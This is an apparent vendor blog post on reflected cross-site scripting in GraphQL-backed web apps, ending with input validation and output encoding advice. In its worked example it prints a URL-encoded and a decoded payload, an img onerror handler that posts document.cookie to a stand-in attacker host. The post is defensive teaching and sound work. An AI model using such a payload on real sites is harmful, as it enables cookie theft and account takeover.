Cross-Site Scripting (XSS) in GraphQL

Cross-Site Scripting (XSS) in GraphQL
XSS GraphQL

Every Monday morning, you go through your ritual and check the users' feedback. This week, despite all the wonderful feedback, some users are complaining that someone has impersonated them and performed actions on their accounts without their knowledge.

After some investigation, you discover that all the complaining users have each logged in from different IP addresses in the past week and moreover, one IP address comes up several times on different accounts. So there really could be an attacker…

Finally, another team member shows you a phishing email that many of your users have received in which the sender pretends to be your company! So, obviously, your web application has suffered some kind of attack… but how did the attacker manage to get the users’ credentials from his phishing email? Maybe it was an XSS attack…

What is XSS?

Cross-Site Scripting (XSS) occurs when an attacker uses a web application to send a malicious script to a different end user. This vulnerability is present whenever a web application displays a user input without proper validation.

The script is executed by the browser, so it is often a Javascript code, but it can also include HTML, Java, Flash, or any other code that the browser can execute. The consequences of an XSS attack can vary greatly but are most commonly the transmission of private data (cookies, session information, …) to the attacker or the redirection of the victim to another website.

There are 2 main categories of XSS attacks:

  • Stored XSS attacks: the injected script is permanently stored on the target servers, for example, in a forum message or a comment field. They are also called persistent XSS, and each time users go to your web application and retrieve the script from the server (seeing the messages in a forum, for example), they can become victims.
  • Reflected XSS attacks: The injected script is sent to the server as part of the request and is “reflected” back, for example, in the error message or search result. This time, the script isn’t stored on the server, and the attacker has to craft a special link with the script inside and make the victim trigger it (e.g., by clicking on it or visiting a malicious website).

A third common type is DOM-based XSS attacks in which the script is executed due to modifying the DOM environment. You can learn more about it here.

Let's return to our introductory situation, an example of reflected XSS!

Your web application relies on a GraphQL API, and your users can request more information on a resource by making a GET request to this kind of link:
https://example.com/resource?id=64ds8Di827ls3

This is a general example, and a resource can be whatever is relevant to your business.

Now, an attacker crafts the following request and sends it to the victim:

https%3A%2F%2Fexample.com%2Fresource%3Fid%3D%3Cimg%2520src%3D%22x%22%2520onerror%3D%E2%80%99fetch(%22https%3A%2F%2Fmalicioussite.com%22%2C%7Bmethod%3A%22POST%22%2Cbody%3A%22document.cookie%22%7D)%E2%80%99%2F%3E

It is URL-encoded and points toward your website, so the victim can easily trust and click on it.

Here is the decoded version of the URL:

https://example.com/resource?id=<img%20src="x"%20onerror='fetch("https://malicioussite.com",{method:"POST",body:"document.cookie"})'/>

What will happen? Your server will send a request to your GraphQL endpoint, which will respond something like that:

<img%20src="x"%20onerror='fetch("https://malicioussite.com",{method:"POST",body:"document.cookie"})'/> is not a valid resource id

And if this error is displayed to the user, the HTML code will be executed: it will look for the image “x” which obviously does not exist, and will therefore execute the onerror() code, which will finally send the victim cookies to malicioussite.com. Then the attacker can use the cookies to log into the victim’s account.

Schematic representation of how XSS attack works

XSS Remediation

There is not much users can do to protect themselves, maybe avoid phishing, but as they trust your web application, it is not so easy… Therefore, it is your responsibility to protect them!

As explained earlier, to perform a XSS attack, the attacker needs to insert and execute malicious content on a webpage. Thus, you must protect every variable, validating the input and sanitizing the output.

Input validation

Check the input on your expected input type before applying any query or mutation. For example, if the input is a name, it will unlikely contain special characters such as <, >,&, “ or ‘. If the input is not valid, send an error back to the user, and if you want to display the no-valid input to the user, make sure to apply a very strong output sanitization.

Output sanitization / output encoding

Output encoding is necessary when displaying data exactly as a user typed it in safely. So, the goal is to interpret variables as text, not code. To do this, you should pass each variable in an encoding function before using it. Browsers parse HTML, js, URLs, and CSS differently, thus, you need to use different encoding methods depending on the context. For example, in an HTML context, use .textContent instead of .innerHTML and replace these characters as follow:

character HTML
& &amp;
< &lt;
> &gt;
&quot;
&#x27;

More details on the other contexts and methods to apply on this OWASP XSS prevention cheat sheet.

N.B.: modern frameworks have built-in functions for output encoding, so try to use them or other existing libraries when possible.

Want to learn more? 💡

More from our GraphQL vulnerabilities series:

Do you prefer hands-on learning about GraphQL Security? Start your lessons with our API Security Academy focused on GraphQL and learn how to build safe GraphQL APIs.